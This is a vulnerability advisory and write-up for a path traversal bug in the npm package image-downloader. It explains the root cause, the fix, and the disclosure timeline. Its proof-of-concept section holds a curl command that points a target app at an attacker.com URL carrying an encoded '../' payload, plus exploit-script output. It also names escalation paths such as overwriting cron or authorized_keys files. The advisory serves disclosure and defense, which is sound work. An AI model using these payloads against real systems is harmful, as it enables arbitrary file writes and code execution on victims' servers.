Summary
CVE-2026-103648 is a critical path traversal vulnerability (CWE-22) affecting all versions of image-downloader prior to 4.3.1, an npm package with roughly 11,000 weekly downloads. The bug lets a remote, unauthenticated attacker write arbitrary files outside the directory an application developer intended, with no user interaction required — a CVSS v3.1 base score of 9.1 (Critical).
The vulnerability was discovered, responsibly disclosed to the maintainer, and publicly documented by Amirhossein Roustaei (@EterNullSec) of Eternull Security. The maintainer shipped a fix in 4.3.1 the same week it was reported.
| Field | Details |
|---|---|
| CVE ID | CVE-2026-103648 |
| NVD Entry | nvd.nist.gov/vuln/detail/CVE-2026-103648 |
| CVSS v3.1 | 9.1 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H |
| CWE | CWE-22 — Improper Limitation of a Pathname to a Restricted Directory |
| Affected | image-downloader < 4.3.1 (all versions, including 4.3.0) |
| Fixed in | 4.3.1 |
| Reporter | Amirhossein Roustaei, Eternull Security |
Root Cause
The bug lives in the filename-extraction logic of [email protected]. This is the actual, unmodified source from the published npm package:
// [email protected] — index.js
module.exports.image = ({ extractFilename = true, ...options } = {}) => {
if (!options.url) return Promise.reject(new Error('The options.url is required'));
if (!options.dest) return Promise.reject(new Error('The options.dest is required'));
if (extractFilename) {
if (!path.extname(options.dest)) {
const url = new URL(options.url);
const pathname = url.pathname;
const basename = path.basename(pathname); // ❌ basename BEFORE decode
const decodedBasename = decodeURIComponent(basename); // decode happens AFTER
options.dest = path.join(options.dest, decodedBasename); // path.join resolves ".."
}
}
return request(options);
};
The order of two operations is swapped, and that ordering is the entire vulnerability:
path.basename()runs on the still percent-encoded URL path. A sequence like%2e%2e%2fpwned.shcontains no literal/, sobasename()treats the whole string as one filename and passes it through untouched.- The result is then decoded with
decodeURIComponent(), which turns%2e%2e%2fback into a literal../— but only after the sanitizing step has already run. path.join(options.dest, decodedBasename)resolves that../the same waycd ..would, landing the final write path outside the intended destination directory.
Decode-then-basename is safe. Basename-then-decode is not. That single ordering mistake is what makes this exploitable.
Minimal trigger
URL pathname: /%2e%2e%2fpwned.sh
basename(): "%2e%2e%2fpwned.sh" (unchanged — no literal '/')
decode: "../pwned.sh" (traversal now literal)
path.join(dest, "../pwned.sh") → resolves one directory ABOVE dest
Attack Model
- Victim: any application calling
download.image({ url, dest })with aurlvalue it does not fully control — e.g. an avatar/image-import feature, a webhook payload, or a URL pulled from an RSS/content feed. - Attacker: controls (or can redirect to) the HTTP server the victim’s
urlpoints at, and controls the path component of that URL. That’s sufficient on its own, since the traversal payload lives in the URL path, not the response body. - Impact: the victim process writes an attacker-chosen file to an attacker-chosen path outside the intended directory. In containers or services running with broad filesystem access, this routinely escalates to code execution — e.g. overwriting a cron file, an
authorized_keysentry, or a file the application later executes.
Proof of Concept
curl "http://localhost:3000/download?url=http://attacker.com/%2e%2e%2f%2e%2e%2ftmp%2fpwned.txt"
$ python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1
[*] CVE-2026-103648 — image-downloader Path Traversal PoC
[*] Target : http://localhost:3000
[*] Payload URL : http://127.0.0.1:8888/%2e%2e%2f%2e%2e%2ftmp%2fpwned_by_eternullsec.txt
[+] Request received by exploit HTTP server
[+] SUCCESS! File written to: /tmp/pwned_by_eternullsec.txt
Full reproducible lab (Docker Compose, vulnerable app, and exploit script) is published at github.com/EterNullSec/CVE-2026-103648.
The Fix
Fixed in 4.3.1 (commit fb44543):
// [email protected] — index.js
const filenameFromPathname = (pathname) => {
const decoded = decodeURIComponent(pathname); // ✅ decode FIRST
if (decoded.includes('\0')) {
throw invalidFilename('the URL path contains a NUL byte');
}
return path.basename(decoded); // ✅ THEN basename
};
const isInside = (file, directory) => {
const relative = path.relative(directory, file);
return relative !== '' && relative !== '..' &&
!relative.startsWith(`..${path.sep}`) && !path.isAbsolute(relative);
};
Three layers of defense: decode-before-basename fixes the root cause, NUL-byte rejection closes a related filename-truncation trick, and the path.relative() containment check rejects the write outright if it ever resolves outside dest — even if a future change reintroduces an ordering bug.
Disclosure Timeline
| Date | Event |
|---|---|
| 2026-10-01 | CVE reserved (GitLab, as CNA) |
| 2026-10-02 | Patch released in [email protected] |
| 2026-10-02 | CVE-2026-103648 published (MITRE/NVD) |
| 2026-10-03 | Public PoC and writeup released |
References
- CVE Record — cve.org
- NVD Entry
- GitLab Issue #32
- Fix Commit fb44543
- CWE-22 Definition
- OWASP: Path Traversal
- Full PoC Repository
Discovered and disclosed by Amirhossein Roustaei, Eternull Security. Reported to the maintainer prior to public disclosure.